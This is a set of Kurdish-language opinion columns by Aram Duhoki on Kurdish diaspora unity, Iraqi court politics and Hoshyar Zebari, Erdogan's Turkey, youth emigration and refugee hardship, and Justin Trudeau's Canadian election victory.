خۆیایه‌ كو كێشا كوردان وه‌كو هه‌ر كێشه‌ك دن یا ئالۆزه‌ گه‌ر چه‌ند جاری ئالۆزتر نه‌به‌ ژ به‌ر هه‌بوونا ئه‌گه‌رێن جودا جودا كو پێدڤی نینه‌ بێنه‌ زمان، لێ ئێك ژ وان كورد مینا هه‌موو گه‌لێن دنیایێ یێ بوویه‌ پارچه‌پارچه‌ ژ لایێ ئایدلۆژیڤه‌ كه‌ ئه‌وژی جه‌مسه‌رێن راست و چه‌پ و ئوولی و نه‌ته‌وه‌ی و …هتد. هه‌لبه‌ت ئه‌ڤ دیارده‌ ژی گه‌له‌ك نۆرمه‌له‌. د هه‌ستا من دا كورد هه‌ر پێنگاڤه‌كا ئێكگرتنێ بهاڤێژن باشتر ئه‌وه‌ باوه‌ری پێكه‌رێن وێ نه‌ باوه‌ری پێكه‌رێن وێ پشته‌ڤانیێ بۆ بكه‌ن.
د هه‌ستا خوه‌دا ئه‌ز وه‌سا دفكرم كو كێشه‌ یا كوردان مینا شانا هێنگڤینیه‌ و یا پڕ ژ شانه‌یێن ڤالا و ژ چه‌ندین ئالی و قولیچكا پێكدهێت. پڕبوونا هه‌ر قولیچه‌كێ یان هه‌ر شانه‌كێ دبیته‌ ئه‌گه‌ر پڕبوونا ڤالاهیه‌كێ، ئه‌ڤجا ئه‌گه‌ر پڕكرنه‌ ژ چه‌ندین شانه‌یان پێك بێت ئه‌و پتر و زۆتر كوردان دگه‌هیننه‌ قۆناغا پڕبوونا هه‌موو شانه‌یێ و دگه‌هیته‌ قۆناغا به‌رهه‌مهینانێ. هه‌ر فیدراسیۆنه‌كا ئاڤاببه‌ ئه‌و ڤالاهیه‌كێ پڕ دكه‌ت كو جاره‌ك دن ته‌ پێدڤی ب پڕكرنا وێ نینه‌ ته‌نێ رازیبوونا وان ب هه‌ڤرا كاركرنه‌كا ئێك قه‌بوولكرن، ژ به‌ر كو ده‌ما كۆنفراسیونه‌ك یان لایه‌نه‌ك مینا كۆمه‌ك مرۆڤان لسه‌ر رێباز و ستراتیژیه‌كێ كاردكه‌ن بریارا وان بریاره‌كا گشتیه‌ و ل وی ده‌می سه‌ر و بنگه‌هه‌ پێكڤه‌ رازی دبن. لێ بنه‌ بوونا گرۆپێن خودان ئێك ستراتیژی و بریار بیرۆكا لهه‌ڤ ئینانا ئێك گه‌له‌ك ب زه‌حمه‌تتر لێدهێت. بۆ نموونه‌، گه‌ر ئه‌ڤرۆ ئه‌ڤ فیدراسیۆنا ره‌ڤه‌ندا كورد كار لسه‌ر دكه‌ بلا بێژین كۆنفرادیسۆنا راستێ كورده‌، هه‌ر د وی ده‌میدا یان به‌ریا نوكه‌ چه‌پێ كورد یان ئولیێ كورد فیدراسیۆن ل هه‌ڤ ئانینه‌، هه‌لبه‌ت هه‌ر فیدراسیۆنه‌ك ل دویڤ بیرۆكا سیاسی و ئایدلوژی جه‌ماوه‌ر و لایه‌نگیر و ئه‌ندامێن خوه‌ هه‌نه‌. ب هه‌بوونا وان كو هه‌ر ئێكی جودا خوه‌ به‌رهه‌ڤ كریه‌ هه‌موو په‌یڕه‌و و پرۆگرام و هه‌لبژارتن و سازیێن خوه‌ دامه‌زراندبن، ل وی ده‌می بۆ هه‌موو ئالایان وێ ب ساناهیتر بگه‌هن چێكرنا بریارا ئێكده‌نگیا گه‌لێ كوردستانێ ل ناڤا ره‌ڤه‌ندا كورد، ژ به‌ركو هه‌ر پێنگاڤه‌كا هاڤێتی كوردان پتر نێزیكی بریارا ئێكگرتی دكه‌.
ب كورتی من دڤێت بێژم كو ئاڤاكرنا هه‌ر فیدراسیۆنه‌كا ره‌ڤه‌ندا كوردى بلا ل دویڤ په‌یره‌و بیرۆكا ته‌ ژی نه‌ به‌ ژ به‌ركو كورد پێدڤی ئێكگرتنه‌كا سه‌رانسه‌رینه‌ نه‌مازه‌ دناڤا ره‌ڤه‌ندا كوردان دا تاكو بشێن رۆلێ خوه‌ یێ مللی بگێرن به‌رامبه‌ر دام و ده‌زگه‌هێن وان وه‌لاتێن لێ دژین. ئه‌ڤرۆ و ب ئاڤابوونا ڤان جۆره‌كۆنفرادیسۆن، فیدراسیۆن، كۆمه‌له‌یان و هه‌موو لایه‌نێن سیاسی زه‌مینه‌ سازكرینه‌ بیر ل ئێكگرتنه‌كا ئێكده‌نگیا گه‌لێ كورد بێ كرن هه‌ر چنه‌ به‌ د ناڤا ره‌ڤه‌ندا كورد كو پێكدهێت ژ هه‌موو بیرۆك و ئایدلۆژیان. له‌وا پشته‌ڤانیا ئاڤابوونا كۆنفرادیسۆنێ گه‌له‌ك گرنگه‌ بۆ ئاڤاكرنا لۆبیه‌ك كوردی لسه‌ر بنگه‌هه‌ك به‌رفره‌هتر.

ئارام دهۆكی
ب داخ ڤه‌ كو ئیراقه‌كا خه‌ندقی هه‌تا حه‌فكێ د گه‌نده‌لیێ دا و بێدادیا سیاسی و جڤاكی و مه‌زهه‌بی و ….هتد، ئه‌ڤرۆ دخوازه‌ ریێ خوه‌ به ندێ سپیكه‌ كو ئیراقا خارێ ئاگه‌ه ل هه‌موو به‌رپرس و گه‌نده‌لكاران هه‌یه‌، ئه‌گه‌ر وه‌سا به‌، ئه‌و ره‌وشا باشوورێ وی وه‌لاتی تێدا ژیت ژ ژاریێیا به‌ربلاڤ و نه‌بوونا خزمه‌تگوزاریان و به‌رتیل خوارن و گه‌نده‌لیێ هه‌موو داموده‌زگه‌ه ڤه‌گرتینه‌. بۆ گه‌كێ خارێ یێ وی وه‌لاتی خه‌ونه‌ كو رۆژه‌كێ باژێر و باژێركێن وان وه‌كو باژێرێن كوردستانێ لێ بێن د سه‌ر ون هه‌موو كێموكاسیێن ل هه‌رێمێ هه‌یین. په‌یاما دادگه‌ها په‌یامه‌ك سیاسى یه‌ و دخوازه‌ بێژیت مه‌ ریفراندۆما وه‌ كری مه‌ ژبیرنه‌كریه‌ و دیساڤه‌ وه‌ كو كه‌ساتیا هشیار زێباری كو ناسیاره‌ د ناڤ جڤاكا نێڤده‌وله‌تیدا ب حوكمێ چه‌ندین سالان وه‌زیرێ ده‌رڤه‌ بوویه‌، دخوازه‌ په‌یامه‌ك نه‌راسته‌وخوه‌ بۆ گه‌ندل ناسندنا حوكمومه‌تا هه‌رێمێ. زۆر ب داخ ڤه‌ كو كوردان دو خالێن لاواز دانه‌ ده‌ستێ دادگه‌ه و سیسته‌ما سیاسی یا ئیراقێ و یا ده‌ڤه‌رێ یا ئێكێ، نه‌دبوو به‌رێز هشیار هاتبا ده‌ستنیشانكرین، چونكی ئه‌ڤێن ئه‌ڤ بریاره‌دای یێ بلویل د ره‌قسن، ئه‌ڤجا وێ چاوا به‌ گه‌ر ئه‌و بلویلا ئه‌و دخوازن هه‌به‌، ئه‌وژی تۆمه‌تكرنا هشیار زێباری ب گه‌نده‌لكار، نه‌ده‌مه‌ك دوور به‌ریا نهو ده‌ما ئه‌ڤ به‌رێزه‌ ژ به‌غدا هاتی یا دیاربوو كو ئه‌و وێ ل سه‌ر وێ خالێ راوه‌ستن بۆ مه‌ره‌مێن چاره‌نڤیساز و به‌ردووامیا دویڤه‌لانكیا خوه‌. خالا دووێ یا كوردان ژێ ڤه‌قتیان و ململانێیا سیاسیا پارتی و یه‌كێتی و پێشبركیا وان ب بده‌ستخستنا پۆسته‌كێ ڤالا ژ كریار و بریاران. وێ دوبه‌ركیێ كوردان به‌ره‌ك ل چووكێ خوه‌دا، ئه‌ڤرۆ ده‌ڤه‌ر و ئیراق وه‌كو كه‌له‌كا سه‌ر ئاڤێ یه‌ و هزار و ئێكده‌ست تێدانه‌، دیتنا هه‌ر كونجه‌ك و ڤالاهیه‌كێ یێ به‌رامبه‌ر خوه‌ ل به‌ر گێل ناكه‌ وێ وه‌كو وه‌رقه‌كێ سوودی ژێ وه‌رگره‌.
خالا هه‌ره‌ لاوازا كوردان كورد ب خوه‌نه‌ د ڤان ئالۆزیێن كورد تووش دبنێ، به‌ری كو دوژمنێ وان به‌. بریارێن كوردی یێن تاكره‌و ژ بلی شكه‌ستنا و سه‌رنه‌گرتنا ته‌ڤێ وان چ ده‌ستكه‌فتێن دی بۆ ناینه‌.

ئارام دهۆكی
دیاره‌ تورك وه‌كو نه‌ته‌وه‌ و ده‌ستهه‌لات حه‌ز و زڤراندنا خه‌ونا ئیمپراتۆریا ئوسمانیان چ جاران ژ خه‌یالا وان ده‌رنه‌كه‌فتیه‌ پشتی هه‌لوه‌شیانا وێ ل شه‌ڕێ جیهانی یى ئێكێ. هه‌لبه‌ت ئه‌ڤ بیرۆكه‌ پتر هات ئاشكه‌رابوون پشتی حزبا داد و گه‌شه‌پێدان ده‌ستهه‌لات ل وی وه‌لاتی گرتی و پتر زه‌لال بوو ده‌ما كه‌ساتیا ئه‌ردۆگانی تاكره‌وانه‌ كه‌تی ده‌ست و سیسته‌م به‌ر ب ده‌ستهه‌لاته‌كا سه‌رۆكی بری و بریارێن خوه‌ زێده‌كرین. هه‌لبه‌ت خوه‌ دان ل ڤی بابه‌تێ گه‌له‌ك تا و لق ژێ دچن هن ژ وان یێن دیرۆكی و هن ژ وان یێن هنۆكینه‌ گه‌له‌ك ب ساناهى یه‌ ب نڤێسینا بابه‌ته‌كی ژ ده‌رهه‌ق وه‌ره‌ ده‌ر نه‌مازه‌ كو په‌یوه‌ندیه‌كا راسته‌وخوه‌ ب ئابووری ڤه‌به‌ و د چه‌رخه‌ك وه‌كو ئیرۆ دا، لێ ژ به‌ر گرنگیا بابه‌تی و ڤه‌ژه‌نا وێ ل سه‌ر كاودانێن ده‌ڤه‌رێ و كوردان ب تایبه‌تی من خواست ل سه‌ر ڤێ مژارێ هنه‌ك خالان زه‌لال بكه‌م كو په‌یوه‌ندیه‌ك راسته‌وخوه‌ وێ ب چاوانیا رێڤه‌چوونا كێشا كوردان ڤه‌ هه‌به‌.
هه‌ر ده‌ما باسێ سیسته‌ما ئابووری دهێته‌كرن نابه‌ به‌حس ل كاودانێن سیاسی و ستراتیژیا وی وه‌لاتی نه‌هێته‌كرن، ژبه‌ركو پێنه‌ڤێت هه‌ر لڤینه‌كا ئابووری ل سه‌ر خالێن ئێمناهیێ و ئازادیا را ده‌ربرینێ و ڤه‌كرنا خلفێن گرێدای ژ ده‌رڤه‌ و ناڤ دا. گومان تێدا نینه‌ ده‌ما ل ده‌ستپێكا هاتنا پارتا داد و گه‌شه‌پێدان هاتی سه‌ر حكومی شیان پێنگاڤێن پۆزه‌تیڤ پاڤێژه‌ ئه‌ژی ژ به‌ر ئه‌گه‌رێن هاڤێتنا هنه‌ك گاڤان كو د به‌رژه‌وه‌ندیا توركیا دابوون وه‌كو جڤاك و ده‌وله‌ت، ژ وانا ڤه‌كرنا بارێ دایلۆكێ د گه‌ل هه‌موو ئالیێن جودا بیر نه‌مازه‌ د گه‌ل كوردان كو كێشه‌ك ئالۆزه‌ ل وی وه‌لاتی هه‌ر ژ ئاڤابوونا وێ و دیساڤه‌ پێكئینانا هه‌ڤگوهاستنا بیروریا د گه‌ك هه‌موو گرۆپێن قه‌ومی و دیمۆكراسی و ئایینی و…هتد. ئه‌ڤه‌ ژ بلی نه‌رمی و ئارامیا سیسته‌مێ د گه‌ل ده‌وروبه‌را و ده‌رڤه‌. لێ ژ به‌ركو ئه‌ڤ بیرۆكه‌ نه‌ یا ستراتیژی و ناووری پێكه‌ر بوو و راستیا بابه‌تی رۆژ ب رۆژ زه‌لال بۆ ده‌ر و ناڤخوه‌یا توركیا ئێدی لایه‌نێن كو هارین پێش بۆ به‌رده‌وامیا بیرۆكا ته‌ناهیێ بچه‌سپینن خوه‌ڤه‌كێشان و ده‌ستهه‌لاتا ڤێ پارتێ و ب تایبه‌تی سه‌رۆكێ وان وه‌كو چێلا زه‌ر سه‌تله‌ تژیكر ژ شیری و پێنه‌ك لێدا. هه‌ر چه‌ند سالا 2023 نێزیك دبه‌ كو دووماهیا گرێبه‌ستا لۆزانه‌ توركیا پتر د خوینا خوه‌ ئاشوپی دا پتر نقۆم دبه‌ و كفنێ خوه‌ حازردكه‌. ژبلی كو ل ڤان سالێن دوماهیێ بیرۆكا گرتنا ئه‌ردێ ده‌رڤه‌ی توركیا كر و تلێن خوه‌ یێن له‌شكری كرنه‌ د هه‌می قولاچان ڕا و هه‌ر ئێك ب به‌هانه‌كێ، ئه‌ڤجا بگره‌ عه‌فرینێ و باشۆرێ كوردستانی و هه‌تا لیبیا و ئه‌رمینیا و ده‌ریا ناڤه‌راست. ژ بلی ڤان لڤینێن هه‌زار گومان ل ڤان دووماهیان رابوو ب بیرۆكا نه‌هێلانا سه‌له‌ف و ربا و دخوازه‌ ئایینی نهو بكاربینه‌ بۆ مه‌ره‌مێن سیاسی و خه‌ونا ئۆسمانیه‌تێ. هه‌لبه‌ت توركیا وه‌كو نڤسته‌یه‌كێ هشیار پێنگاڤا دهاڤێژه‌ نزانه‌ كو نه‌ ئۆسمانیه‌ت و نه‌ ئازاد بوون و ئابووری ناهێن قه‌بوولكرن د ناڤا جڤاكا نێڤده‌وله‌تی دا و ئه‌گه‌ر توركیا بخوازه‌ خوه‌سه‌ریا خوه‌ ب سه‌رهشكیا ئه‌ردۆگانی بكه‌ ئه‌و نموونێن زێندی دمشنه‌ د ڤان 10 سالێن چووی دا هاتینه‌ گۆرێ و چاره‌نڤیس ژی یێ دیاره‌. ئه‌و وه‌لاتێ خوه‌ هێلا بتنێ دێ وه‌كو توركیا ئه‌ڤرۆ لێهێت كو سه‌یێن به‌ردیوران ب لیرێ توركی دكه‌نن و گه‌هایه‌ نزمتیرتن ئاستێ خوه‌.
گه‌شه‌بوونا ده‌وله‌ت و سیسته‌مانه‌ ل سه‌ر بیرۆكا دره‌و و فند و فێلان دهێته‌كرن. وه‌رارێ له‌شه‌ك ساخله‌م وه‌ك هه‌ڤی دڤێت و هه‌موو ئالی و نه‌ته‌وه‌ خوه‌ تێدا ببین و هه‌ر ئالیه‌ك هه‌ست ب هه‌بوونا خوه‌ بكه‌، نه‌ ل ئالیه‌كێ گوله‌كێ بكی د به‌ر سه‌رێ خه‌لكیرا و ل ئالیێ دن ڤه‌ قازۆخه‌ یێ حازر به‌. چاوا ئه‌و وه‌لات وێ پێنگاڤا سه‌ركه‌تنا ئابووری بهاڤێژه‌ ب هزاران سه‌ركدێن بیرۆكه‌یێن جودا د زیندانان ڤه‌ نه‌مازه‌ كورد و جوداخوازێن عه‌بدوللا گول كو ئه‌نجامده‌رێن كۆده‌تایا به‌ری چه‌ندین سالان بوون، ئه‌زێ گۆتارا خوه‌ ب مه‌ته‌له‌كا كوردی ب دووماهی ئینم، دبێژن هه‌تا مار راست نه‌به‌ ناچیته‌ د كوونێ ڤه‌. له‌وان هه‌تا توركیا و سه‌رۆكێ وێ ب زه‌لالی كێشان چاره‌ نه‌كه‌، هه‌ول و لڤیێن وان وێ هه‌رده‌م بمینن خه‌ون و ژ راستیێ ڤێ دوور بمینن.

ئارام دهۆكی
د سه‌ر هندێرا كو ئه‌ڤ مژاره‌ بوویه‌ بابه‌ته‌ك و گوتنه‌ك رۆژانه‌ د ناڤا ده‌ڤ و داموده‌زگه‌هێن راگه‌هاندنێ دا و هه‌موو بیاڤێن خێزانێ و جاددێ، لێ دیسا ژ به‌ر گرنگی و ترسا داهاتیێ مژ و مۆرانی، پێدڤیه‌ پتر و پتر لسه‌ر وه‌ره‌ گوتن، نه‌ تنێ لسه‌ر بێته‌ گوتن نڤێسین، به‌لكو چاره‌ك ل ئاستێ حه‌زا گه‌نجان وه‌ره‌ دیتن. له‌وان من ژی لدویڤ زانین و سه‌ربۆرا خوه‌ یا ده‌ر و ناڤ ڤیا بینم زمان و هنه‌ك رۆناهیێ بێخین سه‌ر بابه‌تی، ئه‌ڤجا چ وه‌كو ئه‌گه‌ر یان ژی سه‌ر و به‌رێ ئه‌ڤرۆ یێ كاودانێن وه‌لاتێن په‌نابه‌ر و مشخه‌تان وه‌ردگرن چ ل ئه‌ورۆپا یان هه‌ر پارچه‌ك دن یێ دنیایێ.
هه‌ر چه‌نده‌ مشه‌ختبوون و په‌نابرن دو مافێن سروشتی یێن هه‌ر كه‌سه‌كینه‌ لسه‌ر رویێ زه‌ڤیێ، ئه‌ڤه‌ وه‌كو دانپێدانا كومه‌لا نێڤده‌وله‌تی ژی هاتیه‌ چه‌سپاندن، لێ ده‌ما جڤاكه‌ك بتایبه‌ت چینا گه‌نجان ژ به‌ره‌كیڤه‌ و رێژه‌كا هه‌ره‌ دیار دخوازه‌ ڤێ یه‌كێ بجهبینه‌، بتایبه‌ت نه‌ د كاودانه‌ك شه‌ڕی و نه‌ ئارامیێ دا، به‌لكو ژ به‌ر نه‌ ئێكسانیا ئابۆری و جڤاكی…هتد, كه‌ راسته‌وخوه‌ ده‌ستهه‌لات ژێ به‌رپرسه‌ بێ گه‌نگه‌شه‌. ل وی ده‌مێ چاره‌سه‌ریا هه‌یی به‌س جهێن ده‌ستهه‌لاتێ وه‌كو پێدڤی نه‌شیانه‌ ئه‌و حه‌زا گه‌نج پێ داخواز دابین بكه‌ن، ئه‌ڤجا چ ئه‌گه‌ر بیت، ژ به‌رتێكچوونا به‌رژه‌وه‌ندیا تاكه‌ كه‌سێ به‌رپرس، بنه‌مال و حزبی و هتد. دیاره‌ چوونا گه‌نجان و ئه‌گه‌رێن وێ گه‌له‌ك د زه‌لال و دروون بن و ئه‌ز ناخوازم هه‌ر وان گوتن و ئه‌گه‌ران بینم زمان وه‌كو مینا به‌ری دو رێزان مه‌ ده‌ستنیشانكری مینا نه‌ یه‌كسانیا هه‌موو لایێن ژیانێ د ناڤبه‌ر وه‌لاتیێ نۆرمه‌ل و كه‌سایه‌تێن ده‌ستهه‌لات د ده‌ست دا و كۆما مه‌لاقێن وان كو خڕڤه‌دبن ناڤه‌كێ حزبی و گرۆپێن جودا جودا دا.
خالێن هه‌ره‌ فه‌ر ل ڤێره‌ بێن زمان بمن وه‌ره‌ ئه‌ون كا ئه‌ڤ ره‌نگه‌ چوونا ب كۆم ئه‌نجامێن وێ چ بن و چ درێكێ دا هه‌یه‌ و وێ چه‌ند ڤه‌كێشه‌ هه‌تا هه‌ر تاكه‌ كه‌س بگه‌هه‌ جهی مه‌ره‌مێ. دیاره‌ ژ بلی كو هه‌ر كه‌سێ دچیت دیاره‌ ئه‌وه‌ یێ كو ژ بنه‌ماله‌كا كێم ده‌رامه‌ت یان بێ پشته‌ڤان (واسته‌)، هه‌لبه‌ت ئه‌ڤ خێزانا وێ پتر بكه‌ڤه‌ بن بارێ ئابۆری ژ به‌ر كو دبیت یا هه‌یی و نه‌ی دێ بۆ په‌یداكه‌ن، ئه‌ڤه‌ ژ بلی كو وێ ترسه‌ك و خه‌مۆكیه‌كا دۆمدرێژ ئێخته‌ سه‌ر و سیمایێ هه‌موو ئه‌ندامێن خێزانێ. ژ بلی ڤان هه‌میان ل رۆژه‌ڤا ئه‌ڤرۆ پرۆسێسا وه‌رگرتنا په‌نابه‌ر و مشه‌ختان گه‌له‌ك و گه‌له‌ك ب زه‌حمه‌ت كه‌تیه‌، هه‌ر چه‌نده‌ هه‌می ده‌مان هه‌ر یا بزه‌حمه‌ت بوویه‌ لێ رۆژ ئه‌ڤرۆ پشتی كو رۆژ بۆ رۆژێ په‌نابه‌ر زێده‌ د بن ل هه‌موو قولیچكێن دنیایێ وه‌رگرتنا وان گه‌له‌ك و گه‌له‌ك بزه‌حمه‌تر دكه‌ڤتی. ژ لایه‌ك دنڤه‌ ئه‌ڤرۆ ئارێشا هه‌بوونا كۆرۆنایێ ئاریشه‌ك سه‌رانسه‌ری جیهانێ یه‌ و هه‌موو ولاتان ئاماده‌باشیا خوه‌ وه‌رگرتیه‌ كو هه‌ر كه‌سێ بێت وه‌رگرتن ل موخل و بێژینگان بێت كرن. دیساڤه‌ خاله‌ك دن به‌ربلاڤ بوونا گرۆپێن تیرۆستی ب تایبه‌تی ل وی ئالیێ دنیایێ كو په‌نابه‌رێ كورد دئێت، ئه‌ڤه‌ دیسا نوكه‌ بوویه‌ خاله‌ك دن بۆ وه‌رگرتنا په‌نابه‌ران كێمتر لێ بكه‌. خاله‌ك دن هه‌موو وه‌لاتان قانوونێن وه‌رگرتنا په‌نابه‌ران گه‌له‌ك به‌رته‌نگ كرینه‌، ئه‌وژی ب زانینا زمانی، خودان پیشه‌ بیت، كه‌س هه‌بن ل ولاتێ لێ، شه‌هاده‌ك تایبه‌ت..ووو. هتد كه‌ هه‌می ده‌مان دكه‌ن به‌هانه‌ دا قه‌بوول نه‌كه‌ن. ئه‌گه‌ر بێت و لسه‌ر ڤان هه‌موو ئه‌نجامان را دیساڤه‌ كه‌سایه‌تیه‌كی بریارا خوه‌دا بچیت، هه‌لبه‌ت ژ به‌ر ڤان ئه‌گه‌ران و ب ده‌هان كو مه‌ نه‌ ئینان زمان دیاره‌ ئه‌و وێ رێیه‌كا گه‌له‌ك ب زه‌حمه‌ت بده‌ به‌ر خوه‌ هه‌موو خالێن هاتین گوتن د خێرا ویدا نابن. به‌ری هه‌ر نه‌خۆشیه‌ك بگه‌هتێ یا رێك و قه‌چاخچی و حیلا و مرۆڤێ قه‌ستا رێیا ب زه‌حمه‌تگرتی وێ تووشی نه‌خۆشیا به‌رزه‌بوونا هزری ببه‌ كو ده‌ستپێكا نه‌خۆشیا ده‌روونیه‌، ئێدی ب ده‌مێن درێژ و ببرینا ده‌هان سه‌رئه‌ڤرازی و نشڤیان دوور نینه‌ كو بارێ ده‌روونی زالبه‌ لسه‌ر ژیانی وی و بگه‌هته‌ قه‌ناعه‌تا بریاره‌ك نه‌ره‌وا و رێك و هه‌ست بێن گرتن. ب هه‌ر حال من هیچ مه‌ره‌مه‌ك ژ نڤێسا بابه‌تی نینم كو كه‌سێ ژێ دل ساركه‌ن، من باوه‌ری ب هندێ هه‌یه‌ مرۆڤ دبیت ئازاد و دڤێت بژیت ئازاد د بریارا خوه‌دا. لێ سه‌ربۆرا من یا په‌نابه‌راتیێ و كارێ من یێ پیشه‌ی د ڤی باری دا به‌رێ من دا نڤێسا ڤی بابه‌تی.
له‌وان دبیت چاره‌ ئه‌و بیت به‌ری هه‌موو پێنگاڤه‌كێ حوكمه‌ت و داموده‌زگه‌ه بهێن سه‌رهێل ژ بن و بنه‌ره‌ت شرۆڤه‌ بكه‌ن و لێكۆلینان بكه‌ن، كانێ بۆچی هه‌تا نوكه‌ ئه‌و چاره‌سه‌ری و هه‌ولدانێن وان كرین سه‌ر نه‌گرتینه‌ و نه‌بووینه‌ جهێ باوه‌ریا خه‌لكی و بتایبه‌تی كۆما گه‌نجان كو بڕبڕه‌یا پشتا هه‌موو جڤاكه‌كی و حوكمه‌ته‌كێنه‌، ژ به‌ر كو گه‌ر سیسته‌م چه‌ندا سه‌ركه‌فتیبه‌ گه‌ر نكاره‌ قه‌ناعه‌تێ بۆ ولاتیێ خوه‌ چێكه‌، كو جهێ لێ باشتره‌ ژ جهێ دچیتێ رامان ئه‌وه‌ ژ به‌ر هه‌ر ئه‌گه‌ره‌كی به‌ ئه‌و ده‌ستهه‌لاتێ كێماسی هه‌نه‌ كار ب راست و دروستی نه‌هاتیه‌كرن و ئه‌گه‌ر هه‌نه‌ و ئه‌و ئه‌گه‌ر بێ دیپلۆماسیه‌ت و ب كریار بێن ئاشكه‌را كرن.

ئارام دهۆكی
وه‌كو كورده‌ك ل كه‌نه‌دا و دوور ژ به‌راوردیكرنه‌كا بابه‌تى، لێ ده‌باره‌ى ده‌نگدانا به‌رى دوسێ رۆژان یا ل كه‌نه‌دا هاتیه‌ ئه‌نجامدان، د سه‌ر هندێرا كو ركابه‌رێن به‌رێن وی ل سیاسه‌تا فیدرالا كه‌نه‌دی گه‌له‌ك گازنده‌ و كیماسیێن وی ئاشكه‌را كرن و ڤیان ئه‌وی ئه‌ڤێ جارێ راكه‌ن و د ڤی هه‌لبژارتنێ دا شكه‌ستنێ بینه‌. ل ده‌نگدانا به‌رى دو رۆژان دیاربوو كو هێشتا پارتا لیبرال و كه‌ساتیا جه‌ستنی جهه‌ك ب سه‌نگ هه‌یه‌ د ناڤا وه‌لاتیێن كه‌نه‌دیدا.
دیاره‌ كێشا كۆڤید 19كێشه‌كا ئالۆزه‌ د ناڤا پرۆژێن پڕانیا ده‌ستهه‌لاتان دا ل جیهانێ، له‌وان هه‌م پویته‌دانا حوكمه‌تا جه‌ستنی ل به‌ری نوكه‌ و ل پرۆژێ خوه‌یێ بهێت دا رژده‌ لسه‌ر ژناڤبرنا ڤێ په‌تایێ و گه‌لێ كه‌نه‌دا ساخله‌م بهێله‌، ل دو سالێن چووی ژی حوكمه‌تا وی نه‌هێلا كه‌س ژ پرۆژێ پشته‌ڤانیا ئابۆری و ده‌راڤی بێباربه‌ ب جوداهی، ئه‌ڤجا چ وه‌كو كارمه‌ند یان بسنس هه‌موو یان ژ به‌ره‌كیڤه‌ سوود ژ به‌رنامه‌ی وه‌رگرت. هه‌ر ئه‌ڤ خاله‌ بوو كو جه‌ستنی شیا باوه‌ریا پرانیا ملله‌تێ كه‌نه‌دیا د هه‌لبژارتنێن ڤێ جارێ دا بده‌ستڤه‌ئانى.
ژ هه‌ژیه‌ بێته‌ گوتن كو جه‌ستین تردۆ كورێ پیته‌ر ترۆدۆ یه‌ یێ كو ل سالێن حه‌فتێیان و هه‌تا نیڤا هه‌شتیان رۆله‌كێ ئێجكار مه‌زن هه‌بوویه‌ د سیاسه‌تا كه‌نه‌دا دا، د سه‌ر هندێرا كو ئه‌ڤ بنه‌مالا سیاسه‌تمه‌دار د بنه‌ره‌تدا خه‌لكێ ده‌ڤه‌را (كوبكێ) نه‌ یا جوداخواز و فه‌ره‌نسینه‌، لێ پشته‌ڤانیا وان بۆ مان كه‌نه‌دا ولاته‌ك ئێكگرتی گه‌له‌ك یا رژده‌. جه‌ستن نه‌ ته‌نێ لسه‌ر ئاستێ كه‌نه‌دا پشته‌ڤانی و پێ سه‌رورمان بووینه‌ به‌لكو گه‌له‌ك ژ ده‌ستهه‌لات و گه‌لێن جیهانێ ب سیسته‌م و ره‌فتارێن وی یێن دیموكراتخواز داخباربووینه‌ ژ به‌ر كو گه‌له‌ك جارنا هاتیه‌ دیتن دناڤا میدیایێن بیانیدا كانێ چاوا پێشه‌وازیا تاكه‌تاكه‌ وه‌لاتیێن خوه‌ دكر ل ستێشنا شه‌مه‌نده‌فرێ ل باژێرێ تورانتۆ كو ب قه‌ره‌بالغترین جهێن وی باژێرینه‌. ئه‌ڤه‌ ژ بلی كو د ناڤا وه‌لاتیێن كه‌نه‌دیدا ب تایبه‌تی د ناڤا مشه‌ختێن تازه‌ گه‌هشتی دا جهه‌ك تایبه‌ت په‌یداكریه‌، نه‌مازه‌ ل ده‌مێ خێزانێتن مشه‌ختێن سووری و ئێزدی گه‌هشتین ب هه‌ردو چاڤان بۆ ره‌وشا وان دكرگری. له‌وا پڕانیا مشه‌ختان حه‌زه‌ك و ڤیانه‌ك تایبه‌ت هه‌یه‌ بۆ كه‌ساتیا وی.

بكورتی، جه‌ستن ترۆدۆی شیایه‌ به‌له‌نسه‌كا باش و ژ قایده‌ بهێله‌ دناڤبه‌را به‌را پارتا چه‌پ و راستا سیاسیا كه‌ندیدا كه‌ پێكدهێن ژ (لیبرال و كونسێرڤه‌تڤ). دیساڤه‌ نه‌ هێلایه‌ ته‌ڤنێ وی و پارتا وی یا سیاسی (لیبرال) دوبه‌ره‌كیێ بێخه‌ ناڤ چینا جڤاكیدا وه‌كو (ژار و زه‌نگین) یان رۆژهه‌لات و رۆژئاڤا هه‌تا دگه‌هه‌ كه‌سێن دوهی گه‌هشتی كه‌نه‌دا و یێ به‌ری بسه‌دان سالا لڤێرێ بینه‌. له‌وان ژی ژ هه‌موو ته‌خوچینا بێ دودلێ ده‌نگێ خوه‌ دا وی و پرۆژێ وی.